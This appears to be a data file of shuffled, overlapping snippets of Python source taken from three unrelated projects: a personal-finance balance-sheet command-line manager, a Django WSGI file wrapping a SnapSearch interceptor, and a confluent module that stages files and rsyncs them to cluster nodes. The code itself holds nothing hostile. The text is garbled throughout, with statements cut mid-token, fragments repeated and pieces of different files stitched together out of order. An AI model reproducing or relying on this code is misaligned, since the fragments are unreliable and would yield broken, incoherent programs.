EquityClass.ASSET: equityType =", "dsvca.account_by_name(accountName) equities = dsvce.equities_by_account(account.id) if equities is None or len(equities)", "class EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction): self.uns = user_notification_system def", "of past months: \") account = dsvca.account_by_name(accountName) data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos,", "raise Exception(f\"Equity: {accountName} [{account.id}], {equityName} not found.\") value = dsvce.record_value_on_equity(equity,", "is not None: self.uns.notify_user(\"Value Recorded successfully!\") def print_value_snapshots(self, accountName=None): if", "[{account.id}], {equityName} not found.\") value = dsvce.record_value_on_equity(equity, year, month, value)", "dsvca from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency", "months: \") account = dsvca.account_by_name(accountName) data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance", "len(equities) == 0: self.uns.notify_user(f\"No Equities in account [{accountName}]\") return self.uns.pretty_print_items(sorted(equities,", "if equityClass == EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif equityClass ==", "equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if equity is not None: self.uns.notify_user(\"Equity", "name = self.uns.request_string(\"Name: \") description = self.uns.request_string(\"Description: \") accountName =", "self.uns.request_int(\"Number of past months: \") account = dsvca.account_by_name(accountName) data =", "equity = dsvce.equity_by_account_and_name(str(account.id), equityName) if equity is None: raise Exception(f\"Equity:", "equityContingency = self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType,", "= self.uns.request_int(\"Month: \") value = self.uns.request_float(\"Value: \") account = dsvca.account_by_name(accountName)", "Sheet---------\") self.uns.pretty_print_items(data) def plot_balance_over_time(self): relevant_mos = self.uns.request_int(\"Number of past months:", "= plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if ax is None: self.uns.notify_user(\"No Data to", "equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if equity is not None:", "balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency import plotter", "equityType = self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType)", "year, month, value) if value is not None: self.uns.notify_user(\"Value Recorded", "def delete_equity(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName)", "dsvce.record_value_on_equity(equity, year, month, value) if value is not None: self.uns.notify_user(\"Value", "value) if value is not None: self.uns.notify_user(\"Value Recorded successfully!\") def", "else: raise Exception(f\"Unknown equity class: {equityClass.name}\") interestRate = self.uns.request_float(\"Interest Rate:", "\") value = self.uns.request_float(\"Value: \") account = dsvca.account_by_name(accountName) equity =", "None or len(equities) == 0: self.uns.notify_user(f\"No Equities in account [{accountName}]\")", "ax = plot.plot_assets_liabilities_worth_over_time(relevant_mos, accountIds=[str(account.id)]) if ax is None: self.uns.notify_user(\"No Data", "from userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums", "if equity is None: raise Exception(f\"Equity: {accountName} [{account.id}], {equityName} not", "as dsvce from userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca", "account = dsvca.account_by_name(accountName) equities = dsvce.equities_by_account(account.id) if equities is None", "self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) year = self.uns.request_int(\"Year: \") month =", "= dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate)", "equityName) if equity is None: raise Exception(f\"Equity: {accountName} [{account.id}], {equityName}", "def print_balance_sheet(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos = self.uns.request_int(\"Number of past", "self.uns.request_int(\"Year: \") month = self.uns.request_int(\"Month: \") value = self.uns.request_float(\"Value: \")", "record_value(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) year = self.uns.request_int(\"Year:", "is not None: self.uns.notify_user(\"Equity entered successfully!\") def delete_equity(self): accountName =", "def __init__(self, user_notification_system: FinanceCliInteraction): self.uns = user_notification_system def add_equity(self): name", "as dsvca from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus,", "description = self.uns.request_string(\"Description: \") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass)", "self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name,", "def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\") def print_balance_sheet(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos", "= self.uns.request_int(\"Number of past months: \") account = dsvca.account_by_name(accountName) data", "raise Exception(f\"Unknown equity class: {equityClass.name}\") interestRate = self.uns.request_float(\"Interest Rate: \")", "None: self.uns.notify_user(\"Value Recorded successfully!\") def print_value_snapshots(self, accountName=None): if accountName is", "return self.uns.pretty_print_items(sorted(equities, key=lambda x: x.equityType), title=\"Equities Snapshots\") def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(),", "= self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) def record_value(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName", "print_balance_sheet(self): accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) relevant_mos = self.uns.request_int(\"Number of past months:", "equities is None or len(equities) == 0: self.uns.notify_user(f\"No Equities in", "def plot_balance_over_time(self): relevant_mos = self.uns.request_int(\"Number of past months: \") accountName", "equity class: {equityClass.name}\") interestRate = self.uns.request_float(\"Interest Rate: \") equityTimeHorizon =", "import balancesheet.mongoData.equities_data_service as dsvce from userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service", "\") account = dsvca.account_by_name(accountName) equity = dsvce.equity_by_account_and_name(str(account.id), equityName) if equity", "= dsvca.account_by_name(accountName) data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance Sheet---------\") self.uns.pretty_print_items(data) def", "FinanceCliInteraction): self.uns = user_notification_system def add_equity(self): name = self.uns.request_string(\"Name: \")", "\") account = dsvca.account_by_name(accountName) data = dsvce.balance_sheet_over_time(relevant_months=relevant_mos, accountIds=[str(account.id)]) self.uns.notify_user(f\"\\n---------Balance Sheet---------\")", "key=lambda x: x.equityType), title=\"Equities Snapshots\") def print_equities(self): self.uns.pretty_print_items(dsvce.query_equities(\"\").to_json(), title=\"Equities\") def" ]
[ "the interceptor from SnapSearch import Client, Detector, Interceptor interceptor =", "django WSGI application from django.core.wsgi import get_wsgi_application application = get_wsgi_application()", "deploy the interceptor from SnapSearch.wsgi import InterceptorMiddleware application = InterceptorMiddleware(application,", "Interceptor interceptor = Interceptor(Client(api_email, api_key), Detector()) # deploy the interceptor", "WSGI application from django.core.wsgi import get_wsgi_application application = get_wsgi_application() #", "import Client, Detector, Interceptor interceptor = Interceptor(Client(api_email, api_key), Detector()) #", "interceptor from SnapSearch import Client, Detector, Interceptor interceptor = Interceptor(Client(api_email,", "django.core.wsgi import get_wsgi_application application = get_wsgi_application() # load SnapSearch API", "= \"<email>\" api_key = \"<key>\" # initialize the interceptor from", "import os os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"hello_world.settings\") # django WSGI application from django.core.wsgi", "api_key = \"<key>\" # initialize the interceptor from SnapSearch import", "api_email = \"<email>\" api_key = \"<key>\" # initialize the interceptor", "# django WSGI application from django.core.wsgi import get_wsgi_application application =", "\"<email>\" api_key = \"<key>\" # initialize the interceptor from SnapSearch", "Client, Detector, Interceptor interceptor = Interceptor(Client(api_email, api_key), Detector()) # deploy", "load SnapSearch API credentials api_email = \"<email>\" api_key = \"<key>\"", "interceptor = Interceptor(Client(api_email, api_key), Detector()) # deploy the interceptor from", "get_wsgi_application() # load SnapSearch API credentials api_email = \"<email>\" api_key", "os os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"hello_world.settings\") # django WSGI application from django.core.wsgi import", "Detector, Interceptor interceptor = Interceptor(Client(api_email, api_key), Detector()) # deploy the", "Detector()) # deploy the interceptor from SnapSearch.wsgi import InterceptorMiddleware application", "application = get_wsgi_application() # load SnapSearch API credentials api_email =", "# initialize the interceptor from SnapSearch import Client, Detector, Interceptor", "# deploy the interceptor from SnapSearch.wsgi import InterceptorMiddleware application =", "application from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # load", "from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # load SnapSearch", "= Interceptor(Client(api_email, api_key), Detector()) # deploy the interceptor from SnapSearch.wsgi", "API credentials api_email = \"<email>\" api_key = \"<key>\" # initialize", "os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"hello_world.settings\") # django WSGI application from django.core.wsgi import get_wsgi_application", "api_key), Detector()) # deploy the interceptor from SnapSearch.wsgi import InterceptorMiddleware", "= \"<key>\" # initialize the interceptor from SnapSearch import Client,", "Interceptor(Client(api_email, api_key), Detector()) # deploy the interceptor from SnapSearch.wsgi import", "SnapSearch import Client, Detector, Interceptor interceptor = Interceptor(Client(api_email, api_key), Detector())", "the interceptor from SnapSearch.wsgi import InterceptorMiddleware application = InterceptorMiddleware(application, interceptor)", "\"hello_world.settings\") # django WSGI application from django.core.wsgi import get_wsgi_application application", "get_wsgi_application application = get_wsgi_application() # load SnapSearch API credentials api_email", "# load SnapSearch API credentials api_email = \"<email>\" api_key =", "SnapSearch API credentials api_email = \"<email>\" api_key = \"<key>\" #", "import get_wsgi_application application = get_wsgi_application() # load SnapSearch API credentials", "initialize the interceptor from SnapSearch import Client, Detector, Interceptor interceptor", "credentials api_email = \"<email>\" api_key = \"<key>\" # initialize the", "= get_wsgi_application() # load SnapSearch API credentials api_email = \"<email>\"", "\"<key>\" # initialize the interceptor from SnapSearch import Client, Detector,", "from SnapSearch import Client, Detector, Interceptor interceptor = Interceptor(Client(api_email, api_key)," ]
[ "a directory'.format(ent, dst)) fulltarg = os.path.join(targdir, dst) for targ in", "if not ent: continue if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'):", "optparts = v.split() v = optparts[0] optparts = optparts[1:] else:", "tempfile.mkdtemp('.syncto{}'.format(node)) output = '' try: for ent in sl.replacemap: stage_ent(sl.replacemap,", "if destination[-1] == '/': mkdirp(destination) destination = os.path.join(destination, os.path.basename(source)) else:", "2.0 (the \"License\"); # you may not use this file", "ent in os.listdir(source): currsrc = os.path.join(source, ent) currdst = os.path.join(destination,", "suffixes: while suffixes['append'] and suffixes['append'][0] == '/': suffixes['append'] = suffixes['append'][1:]", "e.errno != 17: raise def get_entries(filename): secname = 'REPLACE:' filename", "= tempfile.mkdtemp('.syncto{}'.format(node)) output = '' try: for ent in sl.replacemap:", "os.remove(destination) with open(destination, 'w') as realdest: with open(tmpnam) as olddest:", "if special in ent: raise Exception( 'Special character \"{}\" reserved", "\"{}\"'.format(ent)) if dst is None: # this is to indicate", "self.replacemap = {} self.appendmap = {} self.appendoncemap = {} self.mergemap", "KeyError: uid = None optval = {'name': optval, 'id': uid}", "ent: continue if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname =", "currparts = optparts currparts.append(part) k = ' '.join(kparts) v =", "= ent.split('#', 1)[0].strip() if not ent: continue if ent in", "uid} elif optname == 'group': try: gid = grp.getgrnam(optval).gr_gid except", "= deployinfo.get( 'deployment.pendingprofile', {}).get('value', '') if not profile: profile =", "= os.path.join(root, filename) try: with open(filename, 'r') as _: pass", "'$%^&|{}': if special in ent: raise Exception( 'Special character \"{}\"", "= self.replacemap else: raise Exception( 'Section \"{}\" is not currently", "if not profile: raise Exception('Cannot perform syncfiles without profile assigned')", "slist.split('\\n') for ent in entries: ent = ent.split('#', 1)[0].strip() if", "for \"{}\"'.format(ent)) if dst is None: # this is to", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "deployinfo = cfg.get_node_attributes( nodename, ('deployment.*',)) deployinfo = deployinfo.get(nodename, {}) profile", "assigned') synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not os.path.exists(synclist): return '200 OK'", "everyfent.extend(fents) if not everyfent: raise Exception('No matching files for \"{}\"'.format(ent))", "in os.walk(targdir): for filename in filenames: filename = os.path.join(root, filename)", "return retval # need dictionary with output and options def", "self.mergemap elif ent == 'APPENDONCE:': currmap = self.appendoncemap elif ent", "directory'.format(ent, dst)) fulltarg = os.path.join(targdir, dst) for targ in everyfent:", "in targ.split(): self.optmap[f] = entopts def sync_list_to_node(sl, node, suffixes): targdir", "subfilename) for subent in get_entries(subfilename): yield subent yield secname else:", "ent.split('#', 1)[0].strip() if not ent: continue if ent in ('APPENDONCE:',", "\" + ','.join(unreadablefiles)) else: raise finally: shutil.rmtree(targdir) if not isinstance(output,", "kparts for part in ent.split(): if part[0] == '(': currparts", "import confluent.util as util import confluent.noderange as noderange import eventlet", "'REPLACE:': currmap = self.replacemap else: raise Exception( 'Section \"{}\" is", "not profile: profile = deployinfo.get( 'deployment.profile', {}).get('value', '') if not", "# backgrounded def get_syncresult(nodename): if nodename not in syncrunners: return", "open(tmpnam) as olddest: realdest.write(olddest.read()) with open(source) as sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam)", "+ '/' while dst and dst[0] == '/': dst =", "if filename[-1] == '>': filename = filename[:-1] with open(filename, 'r')", "sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam) else: os.symlink(source, destination) syncrunners = {} def", "use this file except in compliance with the License. #", "# this is to indicate source and destination as one", "'') result = syncrunners[nodename].wait() del syncrunners[nodename] return ('200 OK', result)", "== '>': subfilename = subfilename[:-1] if subfilename[0] != '/': subfilename", "and suffixes['appendonce'][0] == '/': suffixes['appendonce'] = suffixes['appendonce'][1:] for ent in", "entries syncrunners[nodename] = eventlet.spawn( sync_list_to_node, sl, nodename, suffixes) return '202", "except KeyError: uid = None optval = {'name': optval, 'id':", "in noderange.NodeRange(nr, cfg).nodes: if candidate == nodename: break else: continue", "{} needs a trailing slash to indicate a directory'.format(ent, dst))", "= {} self.appendoncemap = {} self.mergemap = {} self.optmap =", "the License. import glob import os import shutil import tempfile", "raise def get_entries(filename): secname = 'REPLACE:' filename = filename.strip() if", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "'REPLACE:' filename = filename.strip() if filename[-1] == '>': filename =", "= deployinfo.get(nodename, {}) profile = deployinfo.get( 'deployment.pendingprofile', {}).get('value', '') if", "= [] currparts = kparts for part in ent.split(): if", "cfg) if not (sl.appendmap or sl.mergemap or sl.replacemap or sl.appendoncemap):", "suffixes['append'])) if 'merge' in suffixes: while suffixes['merge'] and suffixes['merge'][0] ==", "syncfile: \" + ent) opts = ','.join(optparts) opts = opts[1:-1]", "License. # You may obtain a copy of the License", "in entries: ent = ent.split('#', 1)[0].strip() if not ent: continue", "sl, nodename, suffixes) return '202 Queued' # backgrounded def get_syncresult(nodename):", "v.split() v = optparts[0] optparts = optparts[1:] else: kparts =", "optparts = [] currparts = kparts for part in ent.split():", "character \"{}\" reserved for future use'.format(special)) ent = ent.strip() if", "realdest.write(olddest.read()) with open(source) as sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam) else: os.symlink(source, destination)", "else: os.symlink(source, destination) syncrunners = {} def start_syncfiles(nodename, cfg, suffixes):", "subfilename = os.path.join(os.path.dirname(filename), subfilename) for subent in get_entries(subfilename): yield subent", "and dst[0] == '/': dst = dst[1:] if len(everyfent) >", "'/', 'root@{}:/'.format(node)])[0] except Exception as e: if 'CalledProcessError' not in", "under the License is distributed on an \"AS IS\" BASIS,", "gid = grp.getgrnam(optval).gr_gid except KeyError: gid = None optval =", "currmap = self.mergemap elif ent == 'APPENDONCE:': currmap = self.appendoncemap", "'/': suffixes['append'] = suffixes['append'][1:] for ent in sl.appendmap: stage_ent(sl.appendmap, ent,", "appendexist=False): dst = currmap[ent] everyfent = [] allfents = ent.split()", "opts = opts[1:-1] for opt in opts.split(','): optname, optval =", "License for the specific language governing permissions and # limitations", "= {'name': optval, 'id': gid} entopts[optname] = optval currmap[k] =", "= deployinfo.get( 'deployment.profile', {}).get('value', '') if not profile: raise Exception('Cannot", "= None entopts = {} if optparts: if optparts[0][0] !=", "filenames: filename = os.path.join(root, filename) try: with open(filename, 'r') as", "suffixes['merge'][0] == '/': suffixes['merge'] = suffixes['merge'][1:] for ent in sl.mergemap:", "confluent.util as util import confluent.noderange as noderange import eventlet import", "= self.replacemap for ent in entries: try: cmtidx = ent.index('#')", "vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo # #", "optparts[0][0] != '(' or optparts[-1][-1] != ')': raise Exception(\"Unsupported syntax", "' '.join(kparts) v = None entopts = {} if optparts:", "os.path.join(source, ent) currdst = os.path.join(destination, ent) mkpathorlink(currsrc, currdst) else: if", "ent in sl.replacemap: stage_ent(sl.replacemap, ent, targdir) if 'append' in suffixes:", "v = v.strip() if ':' in v: nr, v =", "opts[1:-1] for opt in opts.split(','): optname, optval = opt.split('=') if", "raise Exception('Cannot perform syncfiles without profile assigned') synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile)", "except KeyError: gid = None optval = {'name': optval, 'id':", "'Multiple files match {}, {} needs a trailing slash to", "= k.strip() v = v.strip() if ':' in v: nr,", "filename[-1] == '>': filename = filename[:-1] with open(filename, 'r') as", "{} if optparts: if optparts[0][0] != '(' or optparts[-1][-1] !=", "subfilename = ent[1:] if subfilename[-1] == '>': subfilename = subfilename[:-1]", "= optval currmap[k] = v targ = v if v", "17: raise def get_entries(filename): secname = 'REPLACE:' filename = filename.strip()", "Exception( 'Multiple files match {}, {} needs a trailing slash", "except OSError as e: if e.errno != 17: raise def", "future use'.format(special)) ent = ent.strip() if not ent: continue if", "= '' try: for ent in sl.replacemap: stage_ent(sl.replacemap, ent, targdir)", "in repr(e): # https://github.com/eventlet/eventlet/issues/413 # for some reason, can't catch", "open(filename, 'r') as slfile: slist = slfile.read() entries = slist.split('\\n')", "import confluent.sshutil as sshutil import confluent.util as util import confluent.noderange", "secname else: yield ent class SyncList(object): def __init__(self, filename, nodename,", "if ent[-1] == ':': if ent == 'MERGE:': currmap =", "to unreadable files: \" + ','.join(unreadablefiles)) else: raise finally: shutil.rmtree(targdir)", "+ ','.join(unreadablefiles)) else: raise finally: shutil.rmtree(targdir) if not isinstance(output, str):", "options def stage_ent(currmap, ent, targdir, appendexist=False): dst = currmap[ent] everyfent", "else: mkdirp(os.path.dirname(destination)) if appendexist and os.path.exists(destination): tmpnam = tempfile.mktemp() shutil.copy(destination,", "in compliance with the License. # You may obtain a", "softtabstop=4 # Copyright 2021 Lenovo # # Licensed under the", "= v.strip() if ':' in v: nr, v = v.split(':',", "currdst = os.path.join(destination, ent) mkpathorlink(currsrc, currdst) else: if destination[-1] ==", "software # distributed under the License is distributed on an", "[] allfents = ent.split() for tmpent in allfents: fents =", "'r') as _: pass except OSError as e: unreadablefiles.append(filename.replace(targdir, ''))", "('deployment.*',)) deployinfo = deployinfo.get(nodename, {}) profile = deployinfo.get( 'deployment.pendingprofile', {}).get('value',", "v = None entopts = {} if optparts: if optparts[0][0]", "ent[-1] == ':': if ent == 'MERGE:': currmap = self.mergemap", "KeyError: gid = None optval = {'name': optval, 'id': gid}", "nodename, cfg): slist = None self.replacemap = {} self.appendmap =", "not isinstance(output, str): output = output.decode('utf8') retval = { 'options':", "Exception(\"Syncing failed due to unreadable files: \" + ','.join(unreadablefiles)) else:", "try: with open(filename, 'r') as _: pass except OSError as", "in everyfent: mkpathorlink(targ, fulltarg, appendexist) def mkpathorlink(source, destination, appendexist=False): if", "# Copyright 2021 Lenovo # # Licensed under the Apache", "OK' # the synclist has no actual entries syncrunners[nodename] =", "cfg.get_node_attributes( nodename, ('deployment.*',)) deployinfo = deployinfo.get(nodename, {}) profile = deployinfo.get(", "os.path.join(targdir, suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output = util.run( ['rsync', '-rvLD', targdir", "entries: try: cmtidx = ent.index('#') ent = ent[:cmtidx] except ValueError:", "{}) profile = deployinfo.get( 'deployment.pendingprofile', {}).get('value', '') if not profile:", "OSError as e: if e.errno != 17: raise def get_entries(filename):", "as e: if e.errno != 17: raise def get_entries(filename): secname", "if subfilename[-1] == '>': subfilename = subfilename[:-1] if subfilename[0] !=", "= None self.replacemap = {} self.appendmap = {} self.appendoncemap =", "optval, 'id': uid} elif optname == 'group': try: gid =", "with open(filename, 'r') as _: pass except OSError as e:", "not profile: raise Exception('Cannot perform syncfiles without profile assigned') synclist", "ent: continue if ent[-1] == ':': if ent == 'MERGE:':", "'>': subfilename = subfilename[:-1] if subfilename[0] != '/': subfilename =", "in sl.mergemap: stage_ent(sl.mergemap, ent, os.path.join(targdir, suffixes['merge']), True) if 'appendonce' in", "sl = SyncList(synclist, nodename, cfg) if not (sl.appendmap or sl.mergemap", "indicate source and destination as one dst = os.path.dirname(everyfent[0]) +", "if not profile: profile = deployinfo.get( 'deployment.profile', {}).get('value', '') if", "targ = v if v else k for f in", "in allfents: fents = glob.glob(tmpent) everyfent.extend(fents) if not everyfent: raise", "= [] for root, dirnames, filenames in os.walk(targdir): for filename", "in syncfiles'.format(ent[:-1])) continue if '->' in ent: k, v =", "# https://github.com/eventlet/eventlet/issues/413 # for some reason, can't catch the calledprocesserror", "retval = { 'options': sl.optmap, 'output': output, } return retval", "= '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not os.path.exists(synclist): return '200 OK' # not", "# the synclist has no actual entries syncrunners[nodename] = eventlet.spawn(", "olddest: realdest.write(olddest.read()) with open(source) as sourcedata: realdest.write(sourcedata.read()) os.remove(tmpnam) else: os.symlink(source,", "allfents: fents = glob.glob(tmpent) everyfent.extend(fents) if not everyfent: raise Exception('No", "opt in opts.split(','): optname, optval = opt.split('=') if optname ==", "not ent: continue if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname", "synclist has no actual entries syncrunners[nodename] = eventlet.spawn( sync_list_to_node, sl,", "ent.split(): if part[0] == '(': currparts = optparts currparts.append(part) k", "node, suffixes): targdir = tempfile.mkdtemp('.syncto{}'.format(node)) output = '' try: for", "open(filename, 'r') as _: pass except OSError as e: unreadablefiles.append(filename.replace(targdir,", "and # limitations under the License. import glob import os", "= optparts[1:] else: kparts = [] optparts = [] currparts", "None: # this is to indicate source and destination as", "for opt in opts.split(','): optname, optval = opt.split('=') if optname", "def sync_list_to_node(sl, node, suffixes): targdir = tempfile.mkdtemp('.syncto{}'.format(node)) output = ''", "Copyright 2021 Lenovo # # Licensed under the Apache License,", "'id': gid} entopts[optname] = optval currmap[k] = v targ =", "if not ent: continue if ent[-1] == ':': if ent", "slash to indicate a directory'.format(ent, dst)) fulltarg = os.path.join(targdir, dst)", "OF ANY KIND, either express or implied. # See the", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "'REPLACE:'): secname = ent if ent[0] == '<': subfilename =", "os.path.join(targdir, suffixes['merge']), True) if 'appendonce' in suffixes: while suffixes['appendonce'] and", "ANY KIND, either express or implied. # See the License", "See the License for the specific language governing permissions and", "self.replacemap for ent in entries: try: cmtidx = ent.index('#') ent", "{'name': optval, 'id': uid} elif optname == 'group': try: gid", "without profile assigned') synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not os.path.exists(synclist): return", "dictionary with output and options def stage_ent(currmap, ent, targdir, appendexist=False):", "'/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not os.path.exists(synclist): return '200 OK' # not running", "the License. # You may obtain a copy of the", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "optname == 'group': try: gid = grp.getgrnam(optval).gr_gid except KeyError: gid", "catch the calledprocesserror normally # for this exception, implement a", "v.strip() if ':' in v: nr, v = v.split(':', 1)", "Queued' # backgrounded def get_syncresult(nodename): if nodename not in syncrunners:", "Running', '') if not syncrunners[nodename].dead: return ('200 OK', '') result", "to in writing, software # distributed under the License is", "tempfile import confluent.sshutil as sshutil import confluent.util as util import", "except Exception as e: if 'CalledProcessError' not in repr(e): #", "the calledprocesserror normally # for this exception, implement a hack", "if not everyfent: raise Exception('No matching files for \"{}\"'.format(ent)) if", "'Section \"{}\" is not currently supported in syncfiles'.format(ent[:-1])) continue if", "if 'append' in suffixes: while suffixes['append'] and suffixes['append'][0] == '/':", "# See the License for the specific language governing permissions", "candidate in noderange.NodeRange(nr, cfg).nodes: if candidate == nodename: break else:", "dirnames, filenames in os.walk(targdir): for filename in filenames: filename =", "actual entries syncrunners[nodename] = eventlet.spawn( sync_list_to_node, sl, nodename, suffixes) return", "normally # for this exception, implement a hack workaround raise", "or agreed to in writing, software # distributed under the", "{} self.optmap = {} entries = get_entries(filename) currmap = self.replacemap", "raise Exception( 'Special character \"{}\" reserved for future use'.format(special)) ent", "permissions and # limitations under the License. import glob import", "v else k for f in targ.split(): self.optmap[f] = entopts", "synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile) if not os.path.exists(synclist): return '200 OK' #", "required by applicable law or agreed to in writing, software", "if optparts: if optparts[0][0] != '(' or optparts[-1][-1] != ')':", "'merge' in suffixes: while suffixes['merge'] and suffixes['merge'][0] == '/': suffixes['merge']", "raise Exception( 'Section \"{}\" is not currently supported in syncfiles'.format(ent[:-1]))", "with open(destination, 'w') as realdest: with open(tmpnam) as olddest: realdest.write(olddest.read())", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "in v: nr, v = v.split(':', 1) for candidate in", "f in targ.split(): self.optmap[f] = entopts def sync_list_to_node(sl, node, suffixes):", "with the License. # You may obtain a copy of", "# for this exception, implement a hack workaround raise unreadablefiles", "ent == 'MERGE:': currmap = self.mergemap elif ent == 'APPENDONCE:':", "get_entries(subfilename): yield subent yield secname else: yield ent class SyncList(object):", "if nodename not in syncrunners: return ('204 Not Running', '')", "(sl.appendmap or sl.mergemap or sl.replacemap or sl.appendoncemap): return '200 OK'", "syncrunners[nodename] = eventlet.spawn( sync_list_to_node, sl, nodename, suffixes) return '202 Queued'", "currmap = self.appendoncemap elif ent == 'REPLACE:': currmap = self.replacemap", "while suffixes['merge'] and suffixes['merge'][0] == '/': suffixes['merge'] = suffixes['merge'][1:] for", "profile = deployinfo.get( 'deployment.profile', {}).get('value', '') if not profile: raise", "subfilename[:-1] if subfilename[0] != '/': subfilename = os.path.join(os.path.dirname(filename), subfilename) for", "'200 OK' # the synclist has no actual entries syncrunners[nodename]", "shutil import tempfile import confluent.sshutil as sshutil import confluent.util as", "ent.split() for tmpent in allfents: fents = glob.glob(tmpent) everyfent.extend(fents) if", "profile = deployinfo.get( 'deployment.pendingprofile', {}).get('value', '') if not profile: profile", "= v.split() v = optparts[0] optparts = optparts[1:] else: kparts", "= {} self.appendmap = {} self.appendoncemap = {} self.mergemap =", "compliance with the License. # You may obtain a copy", "agreed to in writing, software # distributed under the License", "slfile.read() entries = slist.split('\\n') for ent in entries: ent =", "= { 'options': sl.optmap, 'output': output, } return retval #", "distributed under the License is distributed on an \"AS IS\"", "# for some reason, can't catch the calledprocesserror normally #", "'/': mkdirp(destination) destination = os.path.join(destination, os.path.basename(source)) else: mkdirp(os.path.dirname(destination)) if appendexist", "os.path.dirname(everyfent[0]) + '/' while dst and dst[0] == '/': dst", "= util.run( ['rsync', '-rvLD', targdir + '/', 'root@{}:/'.format(node)])[0] except Exception", "as realdest: with open(tmpnam) as olddest: realdest.write(olddest.read()) with open(source) as", "optval, 'id': gid} entopts[optname] = optval currmap[k] = v targ", "str): output = output.decode('utf8') retval = { 'options': sl.optmap, 'output':", "suffixes: while suffixes['appendonce'] and suffixes['appendonce'][0] == '/': suffixes['appendonce'] = suffixes['appendonce'][1:]", "not profile: profile = deployinfo.get( 'deployment.stagedprofile', {}).get('value', '') if not", "sl.mergemap or sl.replacemap or sl.appendoncemap): return '200 OK' # the", "special in '$%^&|{}': if special in ent: raise Exception( 'Special", "sl.appendoncemap: stage_ent(sl.appendoncemap, ent, os.path.join(targdir, suffixes['appendonce']), True) sshutil.prep_ssh_key('/etc/confluent/ssh/automation') output = util.run(", "= get_entries(filename) currmap = self.replacemap for ent in entries: try:", "sl.replacemap or sl.appendoncemap): return '200 OK' # the synclist has", "optval currmap[k] = v targ = v if v else", "express or implied. # See the License for the specific", "except in compliance with the License. # You may obtain", "deployinfo.get( 'deployment.stagedprofile', {}).get('value', '') if not profile: profile = deployinfo.get(", "open(destination, 'w') as realdest: with open(tmpnam) as olddest: realdest.write(olddest.read()) with", "v = optparts[0] optparts = optparts[1:] else: kparts = []", "= self.appendoncemap elif ent == 'REPLACE:': currmap = self.replacemap else:", "filename = filename[:-1] with open(filename, 'r') as slfile: slist =", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "subent yield secname 